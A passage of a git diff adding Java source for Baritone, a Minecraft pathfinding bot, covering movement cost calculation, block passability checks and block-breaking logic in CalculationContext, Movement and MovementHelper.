Baritone.settings().allowParkourPlace.value; + this.allowJumpAt256 = Baritone.settings().allowJumpAt256.value; + this.allowParkourAscend = Baritone.settings().allowParkourAscend.value; + this.assumeWalkOnWater = Baritone.settings().assumeWalkOnWater.value; + this.frostWalker = EnchantmentHelper.getMaxEnchantmentLevel(Enchantments.FROST_WALKER, baritone.getPlayerContext().player()); + this.allowDiagonalDescend = Baritone.settings().allowDiagonalDescend.value; + this.allowDiagonalAscend = Baritone.settings().allowDiagonalAscend.value; + this.allowDownward = Baritone.settings().allowDownward.value; + this.maxFallHeightNoWater = Baritone.settings().maxFallHeightNoWater.value; + this.maxFallHeightBucket = Baritone.settings().maxFallHeightBucket.value; + int depth = EnchantmentHelper.getDepthStriderModifier(player); + if (depth > 3) { + depth = 3; + } + float mult = depth / 3.0F; + this.waterWalkSpeed = ActionCosts.WALK_ONE_IN_WATER_COST * (1 - mult) + ActionCosts.WALK_ONE_BLOCK_COST * mult; + this.breakBlockAdditionalCost = Baritone.settings().blockBreakAdditionalPenalty.value; + this.backtrackCostFavoringCoefficient = Baritone.settings().backtrackCostFavoringCoefficient.value; + this.jumpPenalty = Baritone.settings().jumpPenalty.value; + this.walkOnWaterOnePenalty = Baritone.settings().walkOnWaterOnePenalty.value; + // why cache these things here, why not let the movements just get directly from settings? + // because if some movements are calculated one way and others are calculated another way, + // then you get a wildly inconsistent path that isn't optimal for either scenario. + this.worldBorder = new BetterWorldBorder(world.getWorldBorder()); + } + + public final IBaritone getBaritone() { + return baritone; + } + + public BlockState get(int x, int y, int z) { + return bsi.get0(x, y, z); // laughs maniacally + } + + public boolean isLoaded(int x, int z) { + return bsi.isLoaded(x, z); + } + + public BlockState get(BlockPos pos) { + return get(pos.getX(), pos.getY(), pos.getZ()); + } + + public Block getBlock(int x, int y, int z) { + return get(x, y, z).getBlock(); + } + + public double costOfPlacingAt(int x, int y, int z, BlockState current) { + if (!hasThrowaway) { // only true if allowPlace is true, see constructor + return COST_INF; + } + if (isPossiblyProtected(x, y, z)) { + return COST_INF; + } + if (!worldBorder.canPlaceAt(x, z)) { + return COST_INF; + } + return placeBlockCost; + } + + public double breakCostMultiplierAt(int x, int y, int z, BlockState current) { + if (!allowBreak && !allowBreakAnyway.contains(current.getBlock())) { + return COST_INF; + } + if (isPossiblyProtected(x, y, z)) { + return COST_INF; + } + return 1; + } + + public double placeBucketCost() { + return placeBlockCost; // shrug + } + + public boolean isPossiblyProtected(int x, int y, int z) { + // TODO more protection logic here; see #220 + return false; + } +} diff --git a/src/baritone/pathing/movement/Movement.java b/src/baritone/pathing/movement/Movement.java new file mode 100644 index 00000000..9ffaadd1 --- /dev/null +++ b/src/baritone/pathing/movement/Movement.java @@ -0,0 +1,297 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.IMovement; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.*; +import baritone.api.utils.input.Input; +import baritone.behavior.PathingBehavior; +import baritone.utils.BlockStateInterface; +import net.minecraft.entity.item.FallingBlockEntity; +import net.minecraft.util.Direction; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.BlockPos; + +import java.util.*; + +public abstract class Movement implements IMovement, MovementHelper { + + public static final Direction[] HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP = {Direction.NORTH, Direction.SOUTH, Direction.EAST, Direction.WEST, Direction.DOWN}; + + protected final IBaritone baritone; + protected final IPlayerContext ctx; + + private MovementState currentState = new MovementState().setStatus(MovementStatus.PREPPING); + + protected final BetterBlockPos src; + + protected final BetterBlockPos dest; + + /** + * The positions that need to be broken before this movement can ensue + */ + protected final BetterBlockPos[] positionsToBreak; + + /** + * The position where we need to place a block before this movement can ensue + */ + protected final BetterBlockPos positionToPlace; + + private Double cost; + + public List toBreakCached = null; + public List toPlaceCached = null; + public List toWalkIntoCached = null; + + private Set validPositionsCached = null; + + private Boolean calculatedWhileLoaded; + + protected Movement(IBaritone baritone, BetterBlockPos src, BetterBlockPos dest, BetterBlockPos[] toBreak, BetterBlockPos toPlace) { + this.baritone = baritone; + this.ctx = baritone.getPlayerContext(); + this.src = src; + this.dest = dest; + this.positionsToBreak = toBreak; + this.positionToPlace = toPlace; + } + + protected Movement(IBaritone baritone, BetterBlockPos src, BetterBlockPos dest, BetterBlockPos[] toBreak) { + this(baritone, src, dest, toBreak, null); + } + + public double getCost() throws NullPointerException { + return cost; + } + + public double getCost(CalculationContext context) { + if (cost == null) { + cost = calculateCost(context); + } + return cost; + } + + public abstract double calculateCost(CalculationContext context); + + public double recalculateCost(CalculationContext context) { + cost = null; + return getCost(context); + } + + public void override(double cost) { + this.cost = cost; + } + + protected abstract Set calculateValidPositions(); + + public Set getValidPositions() { + if (validPositionsCached == null) { + validPositionsCached = calculateValidPositions(); + Objects.requireNonNull(validPositionsCached); + } + return validPositionsCached; + } + + protected boolean playerInValidPosition() { + return getValidPositions().contains(ctx.playerFeet()) || getValidPositions().contains(((PathingBehavior) baritone.getPathingBehavior()).pathStart()); + } + + /** + * Handles the execution of the latest Movement + * State, and offers a Status to the calling class. + * + * @return Status + */ + @Override + public MovementStatus update() { + ctx.player().abilities.isFlying = false; + currentState = updateState(currentState); + if (MovementHelper.isLiquid(ctx, ctx.playerFeet())) { + currentState.setInput(Input.JUMP, true); + } + if (ctx.player().isEntityInsideOpaqueBlock()) { + ctx.getSelectedBlock().ifPresent(pos -> MovementHelper.switchToBestToolFor(ctx, BlockStateInterface.get(ctx, pos))); + currentState.setInput(Input.CLICK_LEFT, true); + } + + // If the movement target has to force the new rotations, or we aren't using silent move, then force the rotations + currentState.getTarget().getRotation().ifPresent(rotation -> + baritone.getLookBehavior().updateTarget( + rotation, + currentState.getTarget().hasToForceRotations())); + baritone.getInputOverrideHandler().clearAllKeys(); + currentState.getInputStates().forEach((input, forced) -> { + baritone.getInputOverrideHandler().setInputForceState(input, forced); + }); + currentState.getInputStates().clear(); + + // If the current status indicates a completed movement + if (currentState.getStatus().isComplete()) { + baritone.getInputOverrideHandler().clearAllKeys(); + } + + return currentState.getStatus(); + } + + protected boolean prepared(MovementState state) { + if (state.getStatus() == MovementStatus.WAITING) { + return true; + } + boolean somethingInTheWay = false; + for (BetterBlockPos blockPos : positionsToBreak) { + if (!ctx.world().getEntitiesWithinAABB(FallingBlockEntity.class, new AxisAlignedBB(0, 0, 0, 1, 1.1, 1).offset(blockPos)).isEmpty() && Baritone.settings().pauseMiningForFallingBlocks.value) { + return false; + } + if (!MovementHelper.canWalkThrough(ctx, blockPos)) { // can't break air, so don't try + somethingInTheWay = true; + MovementHelper.switchToBestToolFor(ctx, BlockStateInterface.get(ctx, blockPos)); + Optional reachable = RotationUtils.reachable(ctx, blockPos, ctx.playerController().getBlockReachDistance()); + if (reachable.isPresent()) { + Rotation rotTowardsBlock = reachable.get(); + state.setTarget(new MovementState.MovementTarget(rotTowardsBlock, true)); + if (ctx.isLookingAt(blockPos) || ctx.playerRotations().isReallyCloseTo(rotTowardsBlock)) { + state.setInput(Input.CLICK_LEFT, true); + } + return false; + } + //get rekt minecraft + //i'm doing it anyway + //i dont care if theres snow in the way!!!!!!! + //you dont own me!!!! + state.setTarget(new MovementState.MovementTarget(RotationUtils.calcRotationFromVec3d(ctx.playerHead(), + VecUtils.getBlockPosCenter(blockPos), ctx.playerRotations()), true) + ); + // don't check selectedblock on this one, this is a fallback when we can't see any face directly, it's intended to be breaking the "incorrect" block + state.setInput(Input.CLICK_LEFT, true); + return false; + } + } + if (somethingInTheWay) { + // There's a block or blocks that we can't walk through, but we have no target rotation to reach any + // So don't return true, actually set state to unreachable + state.setStatus(MovementStatus.UNREACHABLE); + return true; + } + return true; + } + + @Override + public boolean safeToCancel() { + return safeToCancel(currentState); + } + + protected boolean safeToCancel(MovementState currentState) { + return true; + } + + @Override + public BetterBlockPos getSrc() { + return src; + } + + @Override + public BetterBlockPos getDest() { + return dest; + } + + @Override + public void reset() { + currentState = new MovementState().setStatus(MovementStatus.PREPPING); + } + + /** + * Calculate latest movement state. Gets called once a tick. + * + * @param state The current state + * @return The new state + */ + public MovementState updateState(MovementState state) { + if (!prepared(state)) { + return state.setStatus(MovementStatus.PREPPING); + } else if (state.getStatus() == MovementStatus.PREPPING) { + state.setStatus(MovementStatus.WAITING); + } + + if (state.getStatus() == MovementStatus.WAITING) { + state.setStatus(MovementStatus.RUNNING); + } + + return state; + } + + @Override + public BlockPos getDirection() { + return getDest().subtract(getSrc()); + } + + public void checkLoadedChunk(CalculationContext context) { + calculatedWhileLoaded = context.bsi.worldContainsLoadedChunk(dest.x, dest.z); + } + + @Override + public boolean calculatedWhileLoaded() { + return calculatedWhileLoaded; + } + + @Override + public void resetBlockCache() { + toBreakCached = null; + toPlaceCached = null; + toWalkIntoCached = null; + } + + public List toBreak(BlockStateInterface bsi) { + if (toBreakCached != null) { + return toBreakCached; + } + List result = new ArrayList<>(); + for (BetterBlockPos positionToBreak : positionsToBreak) { + if (!MovementHelper.canWalkThrough(bsi, positionToBreak.x, positionToBreak.y, positionToBreak.z)) { + result.add(positionToBreak); + } + } + toBreakCached = result; + return result; + } + + public List toPlace(BlockStateInterface bsi) { + if (toPlaceCached != null) { + return toPlaceCached; + } + List result = new ArrayList<>(); + if (positionToPlace != null && !MovementHelper.canWalkOn(bsi, positionToPlace.x, positionToPlace.y, positionToPlace.z)) { + result.add(positionToPlace); + } + toPlaceCached = result; + return result; + } + + public List toWalkInto(BlockStateInterface bsi) { // overridden by movementdiagonal + if (toWalkIntoCached == null) { + toWalkIntoCached = new ArrayList<>(); + } + return toWalkIntoCached; + } + + public BlockPos[] toBreakAll() { + return positionsToBreak; + } +} diff --git a/src/baritone/pathing/movement/MovementHelper.java b/src/baritone/pathing/movement/MovementHelper.java new file mode 100644 index 00000000..f99f3abb --- /dev/null +++ b/src/baritone/pathing/movement/MovementHelper.java @@ -0,0 +1,793 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement; + +import baritone.Baritone; +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.ActionCosts; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.*; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.MovementState.MovementTarget; +import baritone.pathing.precompute.Ternary; +import baritone.utils.BlockStateInterface; +import baritone.utils.ToolSet; +import net.minecraft.block.*; +import net.minecraft.block.material.Material; +import net.minecraft.enchantment.EnchantmentHelper; +import net.minecraft.fluid.FlowingFluid; +import net.minecraft.fluid.Fluid; +import net.minecraft.fluid.Fluids; +import net.minecraft.fluid.FluidState; +import net.minecraft.fluid.WaterFluid; +import net.minecraft.pathfinding.PathType; +import net.minecraft.state.BooleanProperty; +import net.minecraft.state.properties.Half; +import net.minecraft.state.properties.SlabType; +import net.minecraft.state.properties.StairsShape; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.List; +import java.util.Optional; + +import static baritone.pathing.movement.Movement.HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP; +import static baritone.pathing.precompute.Ternary.*; + +/** + * Static helpers for cost calculation + * + * @author leijurv + */ +public interface MovementHelper extends ActionCosts, Helper { + + static boolean avoidBreaking(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + if (!bsi.worldBorder.canPlaceAt(x, z)) { + return true; + } + Block b = state.getBlock(); + return Baritone.settings().blocksToDisallowBreaking.value.contains(b) + || b == Blocks.ICE // ice becomes water, and water can mess up the path + || b instanceof SilverfishBlock // obvious reasons + // call context.get directly with x,y,z. no need to make 5 new BlockPos for no reason + || avoidAdjacentBreaking(bsi, x, y + 1, z, true) + || avoidAdjacentBreaking(bsi, x + 1, y, z, false) + || avoidAdjacentBreaking(bsi, x - 1, y, z, false) + || avoidAdjacentBreaking(bsi, x, y, z + 1, false) + || avoidAdjacentBreaking(bsi, x, y, z - 1, false); + } + + static boolean avoidAdjacentBreaking(BlockStateInterface bsi, int x, int y, int z, boolean directlyAbove) { + // returns true if you should avoid breaking a block that's adjacent to this one (e.g. lava that will start flowing if you give it a path) + // this is only called for north, south, east, west, and up. this is NOT called for down. + // we assume that it's ALWAYS okay to break the block thats ABOVE liquid + BlockState state = bsi.get0(x, y, z); + Block block = state.getBlock(); + if (!directlyAbove // it is fine to mine a block that has a falling block directly above, this (the cost of breaking the stacked fallings) is included in cost calculations + // therefore if directlyAbove is true, we will actually ignore if this is falling + && block instanceof FallingBlock // obviously, this check is only valid for falling blocks + && Baritone.settings().avoidUpdatingFallingBlocks.value // and if the setting is enabled + && FallingBlock.canFallThrough(bsi.get0(x, y - 1, z))) { // and if it would fall (i.e. it's unsupported) + return true; // dont break a block that is adjacent to unsupported gravel because it can cause really weird stuff + } + // only pure liquids for now + // waterlogged blocks can have closed bottom sides and such + if (block instanceof FlowingFluidBlock) { + if (directlyAbove || Baritone.settings().strictLiquidCheck.value) { + return true; + } + int level = state.get(FlowingFluidBlock.LEVEL); + if (level == 0) { + return true; // source blocks like to flow horizontally + } + // everything else will prefer flowing down + return !(bsi.get0(x, y - 1, z).getBlock() instanceof FlowingFluidBlock); // assume everything is in a static state + } + return !state.getFluidState().isEmpty(); + } + + static boolean canWalkThrough(IPlayerContext ctx, BetterBlockPos pos) { + return canWalkThrough(new BlockStateInterface(ctx), pos.x, pos.y, pos.z); + } + + static boolean canWalkThrough(BlockStateInterface bsi, int x, int y, int z) { + return canWalkThrough(bsi, x, y, z, bsi.get0(x, y, z)); + } + + static boolean canWalkThrough(CalculationContext context, int x, int y, int z, BlockState state) { + return context.precomputedData.canWalkThrough(context.bsi, x, y, z, state); + } + + static boolean canWalkThrough(CalculationContext context, int x, int y, int z) { + return context.precomputedData.canWalkThrough(context.bsi, x, y, z, context.get(x, y, z)); + } + + static boolean canWalkThrough(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + Ternary canWalkThrough = canWalkThroughBlockState(state); + if (canWalkThrough == YES) { + return true; + } + if (canWalkThrough == NO) { + return false; + } + return canWalkThroughPosition(bsi, x, y, z, state); + } + + static Ternary canWalkThroughBlockState(BlockState state) { + Block block = state.getBlock(); + if (block instanceof AirBlock) { + return YES; + } + if (block instanceof AbstractFireBlock || block == Blocks.TRIPWIRE || block == Blocks.COBWEB || block == Blocks.END_PORTAL || block == Blocks.COCOA || block instanceof AbstractSkullBlock || block == Blocks.BUBBLE_COLUMN || block instanceof ShulkerBoxBlock || block instanceof SlabBlock || block instanceof TrapDoorBlock || block == Blocks.HONEY_BLOCK || block == Blocks.END_ROD || block == Blocks.SWEET_BERRY_BUSH) { + return NO; + } + if (Baritone.settings().blocksToAvoid.value.contains(block)) { + return NO; + } + if (block instanceof DoorBlock || block instanceof FenceGateBlock) { + // TODO this assumes that all doors in all mods are openable + if (block == Blocks.IRON_DOOR) { + return NO; + } + return YES; + } + if (block instanceof CarpetBlock) { + return MAYBE; + } + if (block instanceof SnowBlock) { + // snow layers cached as the top layer of a packed chunk have no metadata, we can't make a decision based on their depth here + // it would otherwise make long distance pathing through snowy biomes impossible + return MAYBE; + } + FluidState fluidState = state.getFluidState(); + if (!fluidState.isEmpty()) { + if (fluidState.getFluid().getLevel(fluidState) != 8) { + return NO; + } else { + return MAYBE; + } + } + if (block instanceof CauldronBlock) { + return NO; + } + try { // A dodgy catch-all at the end, for most blocks with default behaviour this will work, however where blocks are special this will error out, and we can handle it when we have this information + if (state.allowsMovement(null, null, PathType.LAND)) { + return YES; + } else { + return NO; + } + } catch (Throwable exception) { + System.out.println("The block " + state.getBlock().getTranslatedName().getString() + " requires a special case due to the exception " + exception.getMessage()); + return MAYBE; + } + } + + static boolean canWalkThroughPosition(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + Block block = state.getBlock(); + + if (block instanceof CarpetBlock) { + return canWalkOn(bsi, x, y - 1, z); + } + + if (block instanceof SnowBlock) { + // if they're cached as a top block, we don't know their metadata + // default to true (mostly because it would otherwise make long distance pathing through snowy biomes impossible) + if (!bsi.worldContainsLoadedChunk(x, z)) { + return true; + } + // the check in BlockSnow.isPassable is layers < 5 + // while actually, we want < 3 because 3 or greater makes it impassable in a 2 high ceiling + if (state.get(SnowBlock.LAYERS) >= 3) { + return false; + } + // ok, it's low enough we could walk through it, but is it supported? + return canWalkOn(bsi, x, y - 1, z); + } + + FluidState fluidState = state.getFluidState(); + if (!fluidState.isEmpty()) { + if (isFlowing(x, y, z, state, bsi)) { + return false; + } + // Everything after this point has to be a special case as it relies on the water not being flowing, which means a special case is needed. + if (Baritone.settings().assumeWalkOnWater.value) { + return false; + } + + BlockState up = bsi.get0(x, y + 1, z); + if (!up.getFluidState().isEmpty() || up.getBlock() instanceof LilyPadBlock) { + return false; + } + return fluidState.getFluid() instanceof WaterFluid; + } + + // every block that overrides isPassable with anything more complicated than a "return true;" or "return false;" + // has already been accounted for above + // therefore it's safe to not construct a blockpos from our x, y, z ints and instead just pass null + return state.allowsMovement(bsi.access, BlockPos.ZERO, PathType.LAND); // workaround for future compatibility =P + } + + static Ternary fullyPassableBlockState(BlockState state) { + Block block = state.getBlock(); + if (block instanceof AirBlock) { // early return for most common case + return YES; + } + // exceptions - blocks that are isPassable true, but we can't actually jump through + if (block instanceof AbstractFireBlock + || block == Blocks.TRIPWIRE + || block == Blocks.COBWEB + || block == Blocks.VINE + || block == Blocks.LADDER + || block == Blocks.COCOA + || block instanceof DoorBlock + || block instanceof FenceGateBlock + || block instanceof SnowBlock + || !state.getFluidState().isEmpty() + || block instanceof TrapDoorBlock + || block instanceof EndPortalBlock + || block instanceof SkullBlock + || block instanceof ShulkerBoxBlock) { + return NO; + } + // door, fence gate, liquid, trapdoor have been accounted for, nothing else uses the world or pos parameters + // at least in 1.12.2 vanilla, that is..... + try { // A dodgy catch-all at the end, for most blocks with default behaviour this will work, however where blocks are special this will error out, and we can handle it when we have this information + if (state.allowsMovement(null, null, PathType.LAND)) { + return YES; + } else { + return NO; + } + } catch (Throwable exception) { + // see PR #1087 for why + System.out.println("The block " + state.getBlock().getTranslatedName().getString() + " requires a special case due to the exception " + exception.getMessage()); + return MAYBE; + } + } + + /** + * canWalkThrough but also won't impede movement at all. so not including doors or fence gates (we'd have to right click), + * not including water, and not including ladders or vines or cobwebs (they slow us down) + */ + static boolean fullyPassable(CalculationContext context, int x, int y, int z) { + return fullyPassable(context, x, y, z, context.get(x, y, z)); + } + + static boolean fullyPassable(CalculationContext context, int x, int y, int z, BlockState state) { + return context.precomputedData.fullyPassable(context.bsi, x, y, z, state); + } + + static boolean fullyPassable(IPlayerContext ctx, BlockPos pos) { + BlockState state = ctx.world().getBlockState(pos); + Ternary fullyPassable = fullyPassableBlockState(state); + if (fullyPassable == YES) { + return true; + } + if (fullyPassable == NO) { + return false; + } + return fullyPassablePosition(new BlockStateInterface(ctx), pos.getX(), pos.getY(), pos.getZ(), state); // meh + } + + static boolean fullyPassablePosition(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + return state.allowsMovement(bsi.access, bsi.isPassableBlockPos.setPos(x, y, z), PathType.LAND); + } + + static boolean isReplaceable(int x, int y, int z, BlockState state, BlockStateInterface bsi) { + // for MovementTraverse and MovementAscend + // block double plant defaults to true when the block doesn't match, so don't need to check that case + // all other overrides just return true or false + // the only case to deal with is snow + /* + * public boolean isReplaceable(IBlockAccess worldIn, BlockPos pos) + * { + * return ((Integer)worldIn.getBlockState(pos).getValue(LAYERS)).intValue() == 1; + * } + */ + Block block = state.getBlock(); + if (block instanceof AirBlock) { + // early return for common cases hehe + return true; + } + if (block instanceof SnowBlock) { + // as before, default to true (mostly because it would otherwise make long distance pathing through snowy biomes impossible) + if (!bsi.worldContainsLoadedChunk(x, z)) { + return true; + } + return state.get(SnowBlock.LAYERS) == 1; + } + if (block == Blocks.LARGE_FERN || block == Blocks.TALL_GRASS) { + return true; + } + return state.getMaterial().isReplaceable(); + } + + @Deprecated + static boolean isReplacable(int x, int y, int z, BlockState state, BlockStateInterface bsi) { + return isReplaceable(x, y, z, state, bsi); + } + + static boolean isDoorPassable(IPlayerContext ctx, BlockPos doorPos, BlockPos playerPos) { + if (playerPos.equals(doorPos)) { + return false; + } + + BlockState state = BlockStateInterface.get(ctx, doorPos); + if (!(state.getBlock() instanceof DoorBlock)) { + return true; + } + + return isHorizontalBlockPassable(doorPos, state, playerPos, DoorBlock.OPEN); + } + + static boolean isGatePassable(IPlayerContext ctx, BlockPos gatePos, BlockPos playerPos) { + if (playerPos.equals(gatePos)) { + return false; + } + + BlockState state = BlockStateInterface.get(ctx, gatePos); + if (!(state.getBlock() instanceof FenceGateBlock)) { + return true; + } + + return state.get(FenceGateBlock.OPEN); + } + + static boolean isHorizontalBlockPassable(BlockPos blockPos, BlockState blockState, BlockPos playerPos, BooleanProperty propertyOpen) { + if (playerPos.equals(blockPos)) { + return false; + } + + Direction.Axis facing = blockState.get(HorizontalBlock.HORIZONTAL_FACING).getAxis(); + boolean open = blockState.get(propertyOpen); + + Direction.Axis playerFacing; + if (playerPos.north().equals(blockPos) || playerPos.south().equals(blockPos)) { + playerFacing = Direction.Axis.Z; + } else if (playerPos.east().equals(blockPos) || playerPos.west().equals(blockPos)) { + playerFacing = Direction.Axis.X; + } else { + return true; + } + + return (facing == playerFacing) == open; + } + + static boolean avoidWalkingInto(BlockState state) { + Block block = state.getBlock(); + return !state.getFluidState().isEmpty() + || block == Blocks.MAGMA_BLOCK + || block == Blocks.CACTUS + || block == Blocks.SWEET_BERRY_BUSH + || block instanceof AbstractFireBlock + || block == Blocks.END_PORTAL + || block == Blocks.COBWEB + || block == Blocks.BUBBLE_COLUMN; + } + + /** + * Can I walk on this block without anything weird happening like me falling + * through? Includes water because we know that we automatically jump on + * water + *

+ * If changing something in this function remember to also change it in precomputed data + * + * @param bsi Block state provider + * @param x The block's x position + * @param y The block's y position + * @param z The block's z position + * @param state The state of the block at the specified location + * @return Whether or not the specified block can be walked on + */ + static boolean canWalkOn(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + Ternary canWalkOn = canWalkOnBlockState(state); + if (canWalkOn == YES) { + return true; + } + if (canWalkOn == NO) { + return false; + } + return canWalkOnPosition(bsi, x, y, z, state); + } + + static Ternary canWalkOnBlockState(BlockState state) { + Block block = state.getBlock(); + if (isBlockNormalCube(state) && block != Blocks.MAGMA_BLOCK && block != Blocks.BUBBLE_COLUMN && block != Blocks.HONEY_BLOCK) { + return YES; + } + if (block == Blocks.LADDER || (block == Blocks.VINE && Baritone.settings().allowVines.value)) { // TODO reconsider this + return YES; + } + if (block == Blocks.FARMLAND || block == Blocks.GRASS_PATH) { + return YES; + } + if (block == Blocks.ENDER_CHEST || block == Blocks.CHEST || block == Blocks.TRAPPED_CHEST) { + return YES; + } + if (block == Blocks.GLASS || block instanceof StainedGlassBlock) { + return YES; + } + if (block instanceof StairsBlock) { + return YES; + } + if (isWater(state)) { + return MAYBE; + } + if (MovementHelper.isLava(state) && Baritone.settings().assumeWalkOnLava.value) { + return MAYBE; + } + if (block instanceof SlabBlock) { + if (!Baritone.settings().allowWalkOnBottomSlab.value) { + if (state.get(SlabBlock.TYPE) != SlabType.BOTTOM) { + return YES; + } + return NO; + } + return YES; + } + return NO; + } + + static boolean canWalkOnPosition(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + Block block = state.getBlock(); + if (isWater(state)) { + // since this is called literally millions of times per second, the benefit of not allocating millions of useless "pos.up()" + // BlockPos s that we'd just garbage collect immediately is actually noticeable. I don't even think its a decrease in readability + BlockState upState = bsi.get0(x, y + 1, z); + Block up = upState.getBlock(); + if (up == Blocks.LILY_PAD || up instanceof CarpetBlock) { + return true; + } + if (MovementHelper.isFlowing(x, y, z, state, bsi) || upState.getFluidState().getFluid() == Fluids.FLOWING_WATER) { + // the only scenario in which we can walk on flowing water is if it's under still water with jesus off + return isWater(upState) && !Baritone.settings().assumeWalkOnWater.value; + } + // if assumeWalkOnWater is on, we can only walk on water if there isn't water above it + // if assumeWalkOnWater is off, we can only walk on water if there is water above it + return isWater(upState) ^ Baritone.settings().assumeWalkOnWater.value; + } + + if (MovementHelper.isLava(state) && !MovementHelper.isFlowing(x, y, z, state, bsi) && Baritone.settings().assumeWalkOnLava.value) { // if we get here it means that assumeWalkOnLava must be true, so put it last + return true; + } + + return false; // If we don't recognise it then we want to just return false to be safe. + } + + static boolean canWalkOn(CalculationContext context, int x, int y, int z, BlockState state) { + return context.precomputedData.canWalkOn(context.bsi, x, y, z, state); + } + + static boolean canWalkOn(CalculationContext context, int x, int y, int z) { + return canWalkOn(context, x, y, z, context.get(x, y, z)); + } + + static boolean canWalkOn(IPlayerContext ctx, BetterBlockPos pos, BlockState state) { + return canWalkOn(new BlockStateInterface(ctx), pos.x, pos.y, pos.z, state); + } + + static boolean canWalkOn(IPlayerContext ctx, BlockPos pos) { + return canWalkOn(new BlockStateInterface(ctx), pos.getX(), pos.getY(), pos.getZ()); + } + + static boolean canWalkOn(IPlayerContext ctx, BetterBlockPos pos) { + return canWalkOn(new BlockStateInterface(ctx), pos.x, pos.y, pos.z); + } + + static boolean canWalkOn(BlockStateInterface bsi, int x, int y, int z) { + return canWalkOn(bsi, x, y, z, bsi.get0(x, y, z)); + } + + static boolean canUseFrostWalker(CalculationContext context, BlockState state) { + return context.frostWalker != 0 + && state.getMaterial() == Material.WATER + && ((Integer) state.get(FlowingFluidBlock.LEVEL)) == 0; + } + + static boolean canUseFrostWalker(IPlayerContext ctx, BlockPos pos) { + BlockState state = BlockStateInterface.get(ctx, pos); + return EnchantmentHelper.hasFrostWalker(ctx.player()) + && state.getMaterial() == Material.WATER + && ((Integer) state.get(FlowingFluidBlock.LEVEL)) == 0; + } + + /** + * If movements make us stand/walk on this block, will it have a top to walk on? + */ + static boolean mustBeSolidToWalkOn(CalculationContext context, int x, int y, int z, BlockState state) { + Block block = state.getBlock(); + if (block == Blocks.LADDER || block == Blocks.VINE) { + return false; + } + if (!state.getFluidState().isEmpty()) { + // used for frostwalker so only includes blocks where we are still on ground when leaving them to any side + // TODO 1.19+ : add leaves, add dripleaf? + if (block instanceof SlabBlock) { + if (state.get(SlabBlock.TYPE) != SlabType.BOTTOM) { + return true; + } + } else if (block instanceof StairsBlock) { + if (state.get(StairsBlock.HALF) == Half.TOP) { + return true; + } + StairsShape shape = state.get(StairsBlock.SHAPE); + if (shape == StairsShape.INNER_LEFT || shape == StairsShape.INNER_RIGHT) { + return true; + } + } else if (block instanceof TrapDoorBlock) { + if (!state.get(TrapDoorBlock.OPEN) && state.get(TrapDoorBlock.HALF) == Half.TOP) { + return true; + } + } else if (block == Blocks.SCAFFOLDING) { + return true; + } + if (context.assumeWalkOnWater) { + return false; + } + Block blockAbove = context.getBlock(x, y + 1, z); + if (blockAbove instanceof FlowingFluidBlock) { + return false; + } + } + return true; + } + + static boolean canPlaceAgainst(BlockStateInterface bsi, int x, int y, int z) { + return canPlaceAgainst(bsi, x, y, z, bsi.get0(x, y, z)); + } + + static boolean canPlaceAgainst(BlockStateInterface bsi, BlockPos pos) { + return canPlaceAgainst(bsi, pos.getX(), pos.getY(), pos.getZ()); + } + + static boolean canPlaceAgainst(IPlayerContext ctx, BlockPos pos) { + return canPlaceAgainst(new BlockStateInterface(ctx), pos); + } + + static boolean canPlaceAgainst(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + if (!bsi.worldBorder.canPlaceAt(x, z)) { + return false; + } + // can we look at the center of a side face of this block and likely be able to place? + // (thats how this check is used) + // therefore dont include weird things that we technically could place against (like carpet) but practically can't + return isBlockNormalCube(state) || state.getBlock() == Blocks.GLASS || state.getBlock() instanceof StainedGlassBlock; + } + + static double getMiningDurationTicks(CalculationContext context, int x, int y, int z, boolean includeFalling) { + return getMiningDurationTicks(context, x, y, z, context.get(x, y, z), includeFalling); + } + + static double getMiningDurationTicks(CalculationContext context, int x, int y, int z, BlockState state, boolean includeFalling) { + Block block = state.getBlock(); + if (!canWalkThrough(context, x, y, z, state)) { + if (!state.getFluidState().isEmpty()) { + return COST_INF; + } + double mult = context.breakCostMultiplierAt(x, y, z, state); + if (mult >= COST_INF) { + return COST_INF; + } + if (avoidBreaking(context.bsi, x, y, z, state)) { + return COST_INF; + } + double strVsBlock = context.toolSet.getStrVsBlock(state); + if (strVsBlock <= 0) { + return COST_INF; + } + double result = 1 / strVsBlock; + result += context.breakBlockAdditionalCost; + result *= mult; + if (includeFalling) { + BlockState above = context.get(x, y + 1, z); + if (above.getBlock() instanceof FallingBlock) { + result += getMiningDurationTicks(context, x, y + 1, z, above, true); + } + } + return result; + } + return 0; // we won't actually mine it, so don't 